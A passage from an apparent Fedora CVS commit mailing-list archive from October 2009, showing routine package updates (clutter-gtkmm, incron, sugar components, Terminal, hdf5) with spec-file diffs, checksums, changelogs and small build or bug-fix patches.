-  gtk_clutter_texture_set_from_pixbuf(texture->gobj(), pixbuf->gobj());
+#else
+void set_texture_from_pixbuf(const Glib::RefPtr<Texture>& texture, const Glib::RefPtr<Gdk::Pixbuf>& pixbuf, std::auto_ptr<Glib::Error>& error)
+#endif
+{
+  GError* gerror = 0;
+  gtk_clutter_texture_set_from_pixbuf(texture->gobj(), pixbuf->gobj(), &gerror);
+
+#ifdef GLIBMM_EXCEPTIONS_ENABLED
+  if(gerror)
+    ::Glib::Error::throw_exception(gerror);
+#else
+  if(gerror)
+    error = ::Glib::Error::throw_exception(gerror);
+#endif // GLIBMM_EXCEPTIONS_ENABLED
 }
 
+#ifdef GLIBMM_EXCEPTIONS_ENABLED
 void set_texture_from_stock(const Glib::RefPtr<Texture>& texture, ::Gtk::Widget& widget, const Glib::ustring& stock_id, ::Gtk::IconSize size)
-{
-  gtk_clutter_texture_set_from_stock(texture->gobj(), widget.gobj(), stock_id.c_str(), GtkIconSize(int(size)));
+#else
+void set_texture_from_stock(const Glib::RefPtr<Texture>& texture, ::Gtk::Widget& widget, const Glib::ustring& stock_id, ::Gtk::IconSize size, std::auto_ptr<Glib::Error>& error)
+#endif
+{
+  GError* gerror = 0;
+  gtk_clutter_texture_set_from_stock(texture->gobj(), widget.gobj(), stock_id.c_str(), GtkIconSize(int(size)), &gerror);
+
+#ifdef GLIBMM_EXCEPTIONS_ENABLED
+  if(gerror)
+    ::Glib::Error::throw_exception(gerror);
+#else
+  if(gerror)
+    error = ::Glib::Error::throw_exception(gerror);
+#endif // GLIBMM_EXCEPTIONS_ENABLED
 }
 
+#ifdef GLIBMM_EXCEPTIONS_ENABLED
 void set_texture_from_icon_name(const Glib::RefPtr<Texture>& texture, ::Gtk::Widget& widget, const Glib::ustring& icon_name, ::Gtk::IconSize size)
-{
-  gtk_clutter_texture_set_from_icon_name(texture->gobj(), widget.gobj(), icon_name.c_str(), GtkIconSize(int(size)));
+#else
+void set_texture_from_icon_name(const Glib::RefPtr<Texture>& texture, ::Gtk::Widget& widget, const Glib::ustring& icon_name, ::Gtk::IconSize size, std::auto_ptr<Glib::Error>& error)
+#endif
+{
+  GError* gerror = 0;
+  gtk_clutter_texture_set_from_icon_name(texture->gobj(), widget.gobj(), icon_name.c_str(), GtkIconSize(int(size)), &gerror);
+
+#ifdef GLIBMM_EXCEPTIONS_ENABLED
+  if(gerror)
+    ::Glib::Error::throw_exception(gerror);
+#else
+  if(gerror)
+    error = ::Glib::Error::throw_exception(gerror);
+#endif // GLIBMM_EXCEPTIONS_ENABLED
 }
 
 } //namespace Gtk
diff --git a/configure.in b/configure.in
index 0d61ba5..79d9e88 100644
--- a/configure.in
+++ b/configure.in
@@ -74,7 +74,7 @@ AC_CHECK_PROGS(PERL, perl5 perl)
 PKG_CHECK_MODULES(CLUTTER_GTKMM,
                   [gtkmm-2.4
                    cluttermm-0.9
-                   clutter-gtk-0.9 >= 0.9.1])
+                   clutter-gtk-0.10 >= 0.10.2])
 AC_SUBST(CLUTTER_GTKMM_CFLAGS)
 AC_SUBST(CLUTTER_GTKMM_LIBS)
 
diff --git a/examples/events/event.cc b/examples/events/event.cc
index 0c188dc..914b98f 100644
--- a/examples/events/event.cc
+++ b/examples/events/event.cc
@@ -44,8 +44,8 @@ Event::Event()
     g_error("Unable to load pixbuf\n");
 
   m_stage->add_actor(m_hand);
-  float width = 0;
-  float height = 0;
+  gfloat width = 0;
+  gfloat height = 0;
   m_hand->get_size(width, height);
   m_hand->set_position((CLUTTER_STAGE_WIDTH()/2) - (width/2), (CLUTTER_STAGE_HEIGHT()/2) - (height/2));
   m_hand->set_reactive();
@@ -105,8 +105,8 @@ bool Event::on_stage_capture(Clutter::Event* event)
 {
   if(event->type == CLUTTER_BUTTON_RELEASE)
   {
-    float x = 0;
-    float y = 0;
+    gfloat x = 0;
+    gfloat y = 0;
     clutter_event_get_coords(event, &x, &y);
 
     std::cout << "Event captured at (" << x << ", " << y << ")" << std::endl;


Index: clutter-gtkmm.spec
===================================================================
RCS file: /cvs/pkgs/rpms/clutter-gtkmm/devel/clutter-gtkmm.spec,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- clutter-gtkmm.spec	24 Jul 2009 19:10:11 -0000	1.5
+++ clutter-gtkmm.spec	1 Oct 2009 21:58:35 -0000	1.6
@@ -2,7 +2,7 @@
 
 Name:           clutter-gtkmm
 Version:        0.9.4
-Release:        2%{?dist}
+Release:        3%{?dist}
 
 Summary:        C++ wrapper for clutter-gtk library
 
@@ -10,9 +10,11 @@ Group:          System Environment/Libra
 License:        LGPLv2+
 URL:            http://www.gtkmm.org/
 Source0:        http://ftp.gnome.org/pub/GNOME/sources/clutter-gtkmm/0.9/%{name}-%{version}.tar.bz2
+# build against clutter-gtk 0.10
+Patch0:         clutter-gtkmm-0.9.4-clutter-gtk-0.10.patch
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
-BuildRequires: clutter-gtk-devel >= 0.9.1
+BuildRequires: clutter-gtk-devel >= 0.10
 BuildRequires: cluttermm-devel >= 0.9
 BuildRequires: gtkmm24-devel
 BuildRequires: doxygen graphviz
@@ -42,6 +44,7 @@ developing %{name} applications.
 
 %prep
 %setup -q
+%patch0 -p1 -b .cluttergtk010
 
 
 %build
@@ -88,6 +91,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Thu Oct  1 2009 Kevin Kofler <Kevin at tigcc.ticalc.org> - 0.9.4-3
+- Backport build fixes for clutter-gtk 0.10 from upstream trunk
+
 * Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.9.4-2
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 



From till at fedoraproject.org  Thu Oct  1 21:59:12 2009
From: till at fedoraproject.org (Till Maas)
Date: Thu,  1 Oct 2009 21:59:12 +0000 (UTC)
Subject: rpms/incron/EL-5 incron-0.5.5-initgroups.patch, NONE,
	1.1 incron.spec, 1.3, 1.4
Message-ID: <20091001215912.F38C111C0261@cvs1.fedora.phx.redhat.com>

Author: till

Update of /cvs/pkgs/rpms/incron/EL-5
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv4279

Modified Files:
	incron.spec 
Added Files:
	incron-0.5.5-initgroups.patch 
Log Message:
* Thu Oct 01 2009 Till Maas <opensource at till.name> - 0.5.5-2
- Initialize initgroups when running user incrontabs


incron-0.5.5-initgroups.patch:
 usertable.cpp |    1 +
 1 file changed, 1 insertion(+)

--- NEW FILE incron-0.5.5-initgroups.patch ---
diff -up incron-0.5.5/usertable.cpp.initgroups incron-0.5.5/usertable.cpp
--- incron-0.5.5/usertable.cpp.initgroups	2007-02-14 15:54:33.000000000 +0100
+++ incron-0.5.5/usertable.cpp	2009-10-01 23:50:30.000000000 +0200
@@ -529,6 +529,7 @@ void UserTable::RunAsUser(char* const* a
   struct passwd* pwd = getpwnam(m_user.c_str());
   if (    pwd == NULL                 // user not found
       ||  setgid(pwd->pw_gid) != 0    // setting GID failed
+      || initgroups(m_user.c_str(),pwd->pw_gid) != 0 // supplementary groups
       ||  setuid(pwd->pw_uid) != 0)    // setting UID failed
   {
     goto failed;


Index: incron.spec
===================================================================
RCS file: /cvs/pkgs/rpms/incron/EL-5/incron.spec,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- incron.spec	13 Mar 2007 21:16:15 -0000	1.3
+++ incron.spec	1 Oct 2009 21:59:12 -0000	1.4
@@ -1,13 +1,15 @@
 Summary:     Inotify cron system
 Name:        incron
 Version:     0.5.5
-Release:     1%{?dist}
+Release:     2%{?dist}
 
 Group:       System Environment/Base          
 License:     GPL
 URL:         http://inotify.aiken.cz
 Source0:     http://inotify.aiken.cz/download/incron/%{name}-%{version}.tar.bz2
 Source1:     incrond.init
+# 2009-10-01: initialize initgroups, already applied in versuion 0.5.7
+Patch0:      incron-0.5.5-initgroups.patch
 BuildRoot:   %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
 Requires(post):   /sbin/chkconfig
@@ -22,6 +24,8 @@ filesystem events rather than time perio
 
 %prep
 %setup -q
+%patch0 -p1 -b .initgroups
+
 
 %build
 make %{?_smp_mflags} CXXFLAGS="%{optflags}"
@@ -77,6 +81,9 @@ rm -rf %{buildroot}
 
 
 %changelog
+* Thu Oct 01 2009 Till Maas <opensource at till.name> - 0.5.5-2
+- Initialize initgroups when running user incrontabs
+
 * Thu Mar 13 2007 <ruben at rubenkerkhof.com> 0.5.5-1
 - Sync with upstream
 * Mon Feb 12 2007 <ruben at rubenkerkhof.com> 0.5.4-1



From erikos at fedoraproject.org  Thu Oct  1 21:59:20 2009
From: erikos at fedoraproject.org (Simon Schampijer)
Date: Thu,  1 Oct 2009 21:59:20 +0000 (UTC)
Subject: rpms/sugar/F-12 sugar.spec,1.76,1.77
Message-ID: <20091001215920.5E33011C0261@cvs1.fedora.phx.redhat.com>

Author: erikos

Update of /cvs/pkgs/rpms/sugar/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv4339

Modified Files:
	sugar.spec 
Log Message:
* Thu Oct 01 2009 Simon Schampijer <simon at schampijer.de> - 0.86.1-3
- typo




Index: sugar.spec
===================================================================
RCS file: /cvs/pkgs/rpms/sugar/F-12/sugar.spec,v
retrieving revision 1.76
retrieving revision 1.77
diff -u -p -r1.76 -r1.77
--- sugar.spec	1 Oct 2009 21:51:13 -0000	1.76
+++ sugar.spec	1 Oct 2009 21:59:20 -0000	1.77
@@ -6,7 +6,7 @@
 Summary: Constructionist learning platform
 Name: sugar
 Version: 0.86.1
-Release: 2%{?dist}
+Release: 3%{?dist}
 #Release: 4.%{alphatag}%{?dist}
 URL: http://sugarlabs.org/
 # git clone git://dev.laptop.org/sugar
@@ -141,9 +141,12 @@ rm -rf %{buildroot}
 %defattr(-,root,root,-)
 %{_bindir}/sugar-emulator
 %{_datadir}/applications/sugar-emulator.desktop
-%{_datadir}icons/hicolor/scalable/apps/sugar-xo.svg
+%{_datadir}/icons/hicolor/scalable/apps/sugar-xo.svg
 
 %changelog
+* Thu Oct 01 2009 Simon Schampijer <simon at schampijer.de> - 0.86.1-3
+- typo
+
 * Thu Oct 01 2009 Simon Schampijer <simon at schampijer.de> - 0.86.1-2
 - added sugar-xo.svg icon to the emulator package
 



From erikos at fedoraproject.org  Thu Oct  1 22:04:26 2009
From: erikos at fedoraproject.org (Simon Schampijer)
Date: Thu,  1 Oct 2009 22:04:26 +0000 (UTC)
Subject: rpms/sugar-toolkit/F-12 .cvsignore, 1.40, 1.41 sources, 1.44,
	1.45 sugar-toolkit.spec, 1.56, 1.57
Message-ID: <20091001220427.27D2B11C0261@cvs1.fedora.phx.redhat.com>

Author: erikos

Update of /cvs/pkgs/rpms/sugar-toolkit/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv5866

Modified Files:
	.cvsignore sources sugar-toolkit.spec 
Log Message:
* Tue Oct 01 2009 Simon Schampijer <simon at schampijer.de> - 0.86.1-1
- Do no use random color if metadata color is not valid #1435
- Shutdown/Reboot fails when multiple users are logged in #246
- Present windows in non-active process #1423




Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/sugar-toolkit/F-12/.cvsignore,v
retrieving revision 1.40
retrieving revision 1.41
diff -u -p -r1.40 -r1.41
--- .cvsignore	27 Sep 2009 17:19:44 -0000	1.40
+++ .cvsignore	1 Oct 2009 22:04:24 -0000	1.41
@@ -1 +1 @@
-sugar-toolkit-0.86.0.tar.bz2
+sugar-toolkit-0.86.1.tar.bz2


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/sugar-toolkit/F-12/sources,v
retrieving revision 1.44
retrieving revision 1.45
diff -u -p -r1.44 -r1.45
--- sources	27 Sep 2009 17:19:44 -0000	1.44
+++ sources	1 Oct 2009 22:04:24 -0000	1.45
@@ -1 +1 @@
-56db1b52cabc49fe31eb2ddca7e116c6  sugar-toolkit-0.86.0.tar.bz2
+8a3e6ce8a20071f65b549351af700b4b  sugar-toolkit-0.86.1.tar.bz2


Index: sugar-toolkit.spec
===================================================================
RCS file: /cvs/pkgs/rpms/sugar-toolkit/F-12/sugar-toolkit.spec,v
retrieving revision 1.56
retrieving revision 1.57
diff -u -p -r1.56 -r1.57
--- sugar-toolkit.spec	27 Sep 2009 17:19:44 -0000	1.56
+++ sugar-toolkit.spec	1 Oct 2009 22:04:25 -0000	1.57
@@ -5,7 +5,7 @@
 
 Summary: Sugar toolkit
 Name: sugar-toolkit
-Version: 0.86.0
+Version: 0.86.1
 Release: 1%{?dist}
 #Release: 2.%{alphatag}%{?dist}
 URL: http://wiki.laptop.org/go/Sugar
@@ -68,6 +68,11 @@ rm -rf %{buildroot}
 %{_sysconfdir}/rpm/macros.sugar
 
 %changelog
+* Tue Oct 01 2009 Simon Schampijer <simon at schampijer.de> - 0.86.1-1
+- Do no use random color if metadata color is not valid #1435
+- Shutdown/Reboot fails when multiple users are logged in #246
+- Present windows in non-active process #1423
+
 * Sun Sep 27 2009 Sebastian Dziallas <sebastian at when.com> - 0.86.0-1
 - New upstream release
 



From kevin at fedoraproject.org  Thu Oct  1 22:07:59 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Thu,  1 Oct 2009 22:07:59 +0000 (UTC)
Subject: rpms/Terminal/devel Terminal.spec, 1.30, 1.31 sources, 1.11,
	1.12 .cvsignore, 1.11, 1.12
Message-ID: <20091001220759.DC2EF11C0261@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/extras/rpms/Terminal/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv7697

Modified Files:
	Terminal.spec sources .cvsignore 
Log Message:
Update to 0.4.1



Index: Terminal.spec
===================================================================
RCS file: /cvs/extras/rpms/Terminal/devel/Terminal.spec,v
retrieving revision 1.30
retrieving revision 1.31
diff -u -p -r1.30 -r1.31
--- Terminal.spec	24 Jul 2009 16:25:18 -0000	1.30
+++ Terminal.spec	1 Oct 2009 22:07:59 -0000	1.31
@@ -1,10 +1,10 @@
 Summary: X Terminal Emulator
 Name: Terminal
-Version: 0.4.0
-Release: 2%{?dist}
+Version: 0.4.1
+Release: 1%{?dist}
 License: GPLv2+
-URL: http://goodies.xfce.org/projects/applications/terminal/
-Source0: http://goodies.xfce.org/releases/terminal/Terminal-%{version}.tar.bz2
+URL: http://www.xfce.org/projects/terminal/
+Source0:  http://archive.xfce.org/src/apps/terminal/0.4/Terminal-%{version}.tar.bz2
 Group: User Interface/Desktops
 Buildroot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 BuildRequires: vte-devel >= 0.17.1
@@ -68,6 +68,9 @@ fi
 %{_libexecdir}/TerminalHelp
 
 %changelog
+* Thu Oct 01 2009 Kevin Fenzi <kevin at tummy.com> - 0.4.1-1
+- Update to 0.4.1
+
 * Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.4.0-2
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/Terminal/devel/sources,v
retrieving revision 1.11
retrieving revision 1.12
diff -u -p -r1.11 -r1.12
--- sources	20 Jul 2009 18:44:35 -0000	1.11
+++ sources	1 Oct 2009 22:07:59 -0000	1.12
@@ -1 +1 @@
-07efc1c2a2f2a08d06c110ff206fa836  Terminal-0.4.0.tar.bz2
+28380b421e414c8c25203e0ec3749922  Terminal-0.4.1.tar.bz2


Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/Terminal/devel/.cvsignore,v
retrieving revision 1.11
retrieving revision 1.12
diff -u -p -r1.11 -r1.12
--- .cvsignore	20 Jul 2009 18:44:35 -0000	1.11
+++ .cvsignore	1 Oct 2009 22:07:59 -0000	1.12
@@ -1 +1 @@
-Terminal-0.4.0.tar.bz2
+Terminal-0.4.1.tar.bz2



From orion at fedoraproject.org  Thu Oct  1 22:08:47 2009
From: orion at fedoraproject.org (Orion Poplawski)
Date: Thu,  1 Oct 2009 22:08:47 +0000 (UTC)
Subject: rpms/hdf5/devel hdf5-1.8.3-snap12-signal.patch, NONE,
	1.1 hdf5-1.8.3-snap12-tstlite.patch, NONE, 1.1 .cvsignore, 1.12,
	1.13 hdf5.spec, 1.38, 1.39 sources, 1.12,
	1.13 hdf5-1.8.0-longdouble.patch, 1.1,
	NONE hdf5-1.8.1-filter-as-option.patch, 1.1,
	NONE hdf5-1.8.3-detect.patch, 1.1, NONE hdf5-1.8.3-signal.patch,
	1.1, NONE
Message-ID: <20091001220847.5D63811C0261@cvs1.fedora.phx.redhat.com>

Author: orion

Update of /cvs/pkgs/rpms/hdf5/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv8146

Modified Files:
	.cvsignore hdf5.spec sources 
Added Files:
	hdf5-1.8.3-snap12-signal.patch hdf5-1.8.3-snap12-tstlite.patch 
Removed Files:
	hdf5-1.8.0-longdouble.patch hdf5-1.8.1-filter-as-option.patch 
	hdf5-1.8.3-detect.patch hdf5-1.8.3-signal.patch 
Log Message:
* Tue Jun 2 2009 Orion Poplawski <orion at cora.nwra.com> 1.8.3-1
- Update to 1.8.3
- Update signal and detect patches
- Drop open patch fixed upstream


hdf5-1.8.3-snap12-signal.patch:
 H5detect.c |   14 +++++++-------
 1 file changed, 7 insertions(+), 7 deletions(-)

--- NEW FILE hdf5-1.8.3-snap12-signal.patch ---
--- hdf5-1.8.3-snap12/src/H5detect.c.signal	2009-09-21 16:41:39.000000000 -0600
+++ hdf5-1.8.3-snap12/src/H5detect.c	2009-09-30 10:04:26.657899636 -0600
@@ -111,7 +111,7 @@
 static void insert_libhdf5_settings(FILE *flibinfo);
 static void make_libinfo(void);
 static size_t align_g[] = {1, 2, 4, 8, 16};
-static jmp_buf jbuf_g;
+static sigjmp_buf jbuf_g;
 
 

 /*-------------------------------------------------------------------------
@@ -370,7 +370,7 @@
     void		(*_handler2)(int) = signal(SIGSEGV, sigsegv_handler);	\
 									      \
     _buf = (char*)malloc(sizeof(TYPE) + align_g[NELMTS(align_g) - 1]);	      \
-    if(setjmp(jbuf_g)) _ano++;						      \
+    if(sigsetjmp(jbuf_g, 1)) _ano++;					      \
     if(_ano < NELMTS(align_g)) {					      \
 	*((TYPE*)(_buf+align_g[_ano])) = _val; /*possible SIGBUS or SEGSEGV*/	\
 	_val2 = *((TYPE*)(_buf+align_g[_ano]));	/*possible SIGBUS or SEGSEGV*/	\
@@ -387,7 +387,7 @@
 	    memcpy(_buf+align_g[_ano]+(INFO.offset/8),((char *)&_val)+(INFO.offset/8),(size_t)(INFO.precision/8)); \
 	_val2 = *((TYPE*)(_buf+align_g[_ano]));				      \
 	if(_val!=_val2)							      \
-	    longjmp(jbuf_g, 1);			        		      \
+	    siglongjmp(jbuf_g, 1);			        		      \
 	/* End Cray Check */						      \
 	(INFO.align)=align_g[_ano];					      \
     } else {								      \
@@ -458,7 +458,7 @@
  *		it's not nearly as nice to work with, it does the job for
  *		this simple stuff.
  *
- * Return:	Returns via longjmp to jbuf_g.
+ * Return:	Returns via siglongjmp to jbuf_g.
  *
  * Programmer:	Robb Matzke
  *		Thursday, March 18, 1999
@@ -471,7 +471,7 @@
 sigsegv_handler(int UNUSED signo)
 {
     signal(SIGSEGV, sigsegv_handler);
-    longjmp(jbuf_g, 1);
+    siglongjmp(jbuf_g, 1);
 }
 
 

@@ -483,7 +483,7 @@
  *		it's not nearly as nice to work with, it does the job for
  *		this simple stuff.
  *
- * Return:	Returns via longjmp to jbuf_g.
+ * Return:	Returns via siglongjmp to jbuf_g.
  *
  * Programmer:	Robb Matzke
  *		Thursday, March 18, 1999
@@ -496,7 +496,7 @@
 sigbus_handler(int UNUSED signo)
 {
     signal(SIGBUS, sigbus_handler);
-    longjmp(jbuf_g, 1);
+    siglongjmp(jbuf_g, 1);
 #ifdef H5_HAVE_SIGLONGJMP
     siglongjmp(jbuf_g, 1);
 #endif /* H5_HAVE_SIGLONGJMP */

hdf5-1.8.3-snap12-tstlite.patch:
 Makefile.in |    2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

--- NEW FILE hdf5-1.8.3-snap12-tstlite.patch ---
--- hdf5-1.8.3-snap12/hl/fortran/test/Makefile.in.tstlite	2009-09-21 16:41:49.000000000 -0600
+++ hdf5-1.8.3-snap12/hl/fortran/test/Makefile.in	2009-10-01 14:05:01.628777355 -0600
@@ -355,7 +355,7 @@
 @FORTRAN_SHARED_CONDITIONAL_FALSE at AM_LDFLAGS = -static
 
 # Our main target, the test programs
-TEST_PROG = tstlite tstimage tsttable
+TEST_PROG = tstimage tsttable
 LDADD = $(LIBH5F_HL) $(LIBH5F) $(LIBH5_HL)  $(LIBHDF5)
 
 # Source files for the programs


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/hdf5/devel/.cvsignore,v
retrieving revision 1.12
retrieving revision 1.13
diff -u -p -r1.12 -r1.13
--- .cvsignore	2 Jun 2009 17:26:05 -0000	1.12
+++ .cvsignore	1 Oct 2009 22:08:46 -0000	1.13
@@ -1 +1 @@
-hdf5-1.8.3.tar.gz
+hdf5-1.8.3-snap12.tar.gz


Index: hdf5.spec
===================================================================
RCS file: /cvs/pkgs/rpms/hdf5/devel/hdf5.spec,v
retrieving revision 1.38
retrieving revision 1.39
diff -u -p -r1.38 -r1.39
--- hdf5.spec	25 Jul 2009 02:04:30 -0000	1.38
+++ hdf5.spec	1 Oct 2009 22:08:46 -0000	1.39
@@ -1,18 +1,21 @@
+%define snaprel -snap12
 Name: hdf5
 Version: 1.8.3
-Release: 2%{?dist}
+Release: 3.snap12%{?dist}
 Summary: A general purpose library and file format for storing scientific data
 License: BSD
 Group: System Environment/Libraries
 URL: http://www.hdfgroup.org/HDF5/
-Source0: ftp://ftp.hdfgroup.org/HDF5/current/src/%{name}-%{version}.tar.gz
-#Source0: ftp://ftp.hdfgroup.uiuc.edu/pub/outgoing/hdf5/snapshots/v18/hdf5-1.8.1-rc1.tar.gz
+#Source0: ftp://ftp.hdfgroup.org/HDF5/current/src/%{name}-%{version}.tar.gz
+Source0: ftp://ftp.hdfgroup.uiuc.edu/pub/outgoing/hdf5/snapshots/v18/hdf5-%{version}%{?snaprel}.tar.gz
 Source1: h5comp
-Patch1: hdf5-1.8.3-signal.patch
-Patch2: hdf5-1.8.3-detect.patch
+Patch1: hdf5-1.8.3-snap12-signal.patch
 Patch3: hdf5-1.8.0-multiarch.patch
-Patch5: hdf5-1.8.0-longdouble.patch
-Patch6: hdf5-1.8.1-filter-as-option.patch
+# There is a problem with the h5ltread_dataset_string_f() api in that the 
+# string will be NULL terminated.  The tstlite test ends up crashing with
+# a stack smash.  Reported upstream 9/30/2009, but probably will take a bit
+# of work to fix.  This disables that test
+Patch4: hdf5-1.8.3-snap12-tstlite.patch
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 BuildRequires: krb5-devel, openssl-devel, zlib-devel, gcc-gfortran, time
 
@@ -45,14 +48,11 @@ HDF5 static libraries.
 
 
 %prep
-%setup -q
+%setup -q -n %{name}-%{version}%{?snaprel}
 %patch1 -p1 -b .signal
-%patch2 -p1 -b .detect
 %patch3 -p1 -b .multiarch
-%ifarch ppc64
-%patch5 -p1 -b .longdouble
-%endif
-%patch6 -p1 -b .filter-as-option
+%patch4 -p1 -b .tstlite
+find -name '*.[ch]' -o -name '*.f90' -exec chmod -x {} +
 
 
 %build
@@ -60,10 +60,15 @@ export CC=gcc
 export CXX=g++
 export F9X=gfortran
 export CFLAGS="$RPM_OPT_FLAGS -fno-strict-aliasing"
-# Must turn of production mode to preserve -g during compile
-%configure --enable-production=no --enable-debug=no \
-           --enable-cxx --enable-fortran \
-           --with-ssl
+%configure \
+  --disable-dependency-tracking \
+  --enable-cxx \
+  --enable-fortran \
+  --enable-hl \
+  --with-ssl
+# --enable-cxx/fortran and --enable-parallel flags are incompatible
+#  --with-mpe=DIR          Use MPE instrumentation [default=no]
+# --enable-cxx/fortran/parallel and --enable-threadsafe flags are incompatible
 #Multiarch header
 %ifarch x86_64 ppc64 ia64 s390x sparc64 alpha
 cp src/H5pubconf.h \
@@ -159,6 +164,14 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Thu Oct 1 2009 Orion Poplawski <orion at cora.nwra.com> 1.8.3-3.snap12
+- Update to 1.8.3-snap12
+- Update signal patch
+- Drop detect and filter-as-option patch fixed upstream
+- Drop ppc only patch
+- Add patch to skip tstlite test for now, problem reported upstream
+- Fixup some source file permissions
+
 * Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.8.3-2
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 
@@ -249,7 +262,7 @@ rm -rf $RPM_BUILD_ROOT
 - Add patch to use POSIX sort key option
 - Remove useless and multilib conflicting Makefiles from html docs
   (bug #228365)
-- Make hdf5-devel own %{_docdir}/%{name}
+- Make hdf5-devel own %%{_docdir}/%%{name}
 
 * Tue Aug 29 2006 Orion Poplawski <orion at cora.nwra.com> 1.6.5-6
 - Rebuild for FC6
@@ -292,9 +305,9 @@ rm -rf $RPM_BUILD_ROOT
 
 * Wed Jul 01 2005 Orion Poplawski <orion at cora.nwra.com> 1.6.4-3
 - Add --enable-threads --with-pthreads to configure
-- Add %check
-- Add some %docs
-- Use %makeinstall
+- Add %%check
+- Add some %%docs
+- Use %%makeinstall
 - Add patch to fix test for h5repack
 - Add patch to fix h5diff_attr.c
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/hdf5/devel/sources,v
retrieving revision 1.12
retrieving revision 1.13
diff -u -p -r1.12 -r1.13
--- sources	2 Jun 2009 17:26:06 -0000	1.12
+++ sources	1 Oct 2009 22:08:46 -0000	1.13
@@ -1 +1 @@
-5ce228d860bf9e797ca40ab1a823c380  hdf5-1.8.3.tar.gz
+5ef4a3940a8952fe057a176b93e9b176  hdf5-1.8.3-snap12.tar.gz


--- hdf5-1.8.0-longdouble.patch DELETED ---


--- hdf5-1.8.1-filter-as-option.patch DELETED ---


--- hdf5-1.8.3-detect.patch DELETED ---


--- hdf5-1.8.3-signal.patch DELETED ---



From erikos at fedoraproject.org  Thu Oct  1 22:09:22 2009
From: erikos at fedoraproject.org (Simon Schampijer)
Date: Thu,  1 Oct 2009 22:09:22 +0000 (UTC)
Subject: rpms/sugar-datastore/F-12 .cvsignore, 1.17, 1.18 sources, 1.17,
	1.18 sugar-datastore.spec, 1.23, 1.24
Message-ID: <20091001220922.A623211C043C@cvs1.fedora.phx.redhat.com>

Author: erikos

Update of /cvs/pkgs/rpms/sugar-datastore/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv8630

Modified Files:
	.cvsignore sources sugar-datastore.spec 
Log Message:
* Tue Oct 01 2009 Simon Schampijer <simon at schampijer.de> - 0.86.1-1
- Screenshot file is not deleted #1445




Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/sugar-datastore/F-12/.cvsignore,v
retrieving revision 1.17
retrieving revision 1.18
diff -u -p -r1.17 -r1.18
--- .cvsignore	27 Sep 2009 17:26:02 -0000	1.17
+++ .cvsignore	1 Oct 2009 22:09:22 -0000	1.18
@@ -1 +1 @@
-sugar-datastore-0.86.0.tar.bz2
+sugar-datastore-0.86.1.tar.bz2


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/sugar-datastore/F-12/sources,v
retrieving revision 1.17
retrieving revision 1.18
diff -u -p -r1.17 -r1.18
--- sources	27 Sep 2009 17:26:02 -0000	1.17
+++ sources	1 Oct 2009 22:09:22 -0000	1.18
@@ -1 +1 @@
-4be2be494d90ccc77749c364bf757e08  sugar-datastore-0.86.0.tar.bz2
+b44e1cfda7bcc9c107401b620ead4f22  sugar-datastore-0.86.1.tar.bz2


Index: sugar-datastore.spec
===================================================================
RCS file: /cvs/pkgs/rpms/sugar-datastore/F-12/sugar-datastore.spec,v
retrieving revision 1.23
retrieving revision 1.24
diff -u -p -r1.23 -r1.24
--- sugar-datastore.spec	27 Sep 2009 17:26:02 -0000	1.23
+++ sugar-datastore.spec	1 Oct 2009 22:09:22 -0000	1.24
@@ -4,7 +4,7 @@
 %define alphatag 20090130git%{commitid}
 
 Name: sugar-datastore
-Version: 0.86.0
+Version: 0.86.1
 Release: 1%{?dist}
 #Release: 2.%{alphatag}%{?dist}
 
@@ -55,6 +55,9 @@ rm -rf $RPM_BUILD_ROOT
 %{_datadir}/dbus-1/services/*.service
 
 %changelog
+* Tue Oct 01 2009 Simon Schampijer <simon at schampijer.de> - 0.86.1-1
+- Screenshot file is not deleted #1445
+
 * Sun Sep 27 2009 Sebastian Dziallas <sebastian at when.com> - 0.86.0-1
 - New upstream release
 



From erikos at fedoraproject.org  Thu Oct  1 22:12:45 2009
From: erikos at fedoraproject.org (Simon Schampijer)
Date: Thu,  1 Oct 2009 22:12:45 +0000 (UTC)
Subject: rpms/sugar-write/F-12 .cvsignore, 1.7, 1.8 sources, 1.7,
	1.8 sugar-write.spec, 1.10, 1.11
Message-ID: <20091001221245.A2B2B11C0261@cvs1.fedora.phx.redhat.com>

Author: erikos

Update of /cvs/pkgs/rpms/sugar-write/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv10417

Modified Files:
	.cvsignore sources sugar-write.spec 
Log Message:
* Tue Oct 01 2009 Simon Schampijer <simon at schampijer.de> - 68-1
- updated translations




Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/sugar-write/F-12/.cvsignore,v
retrieving revision 1.7
retrieving revision 1.8
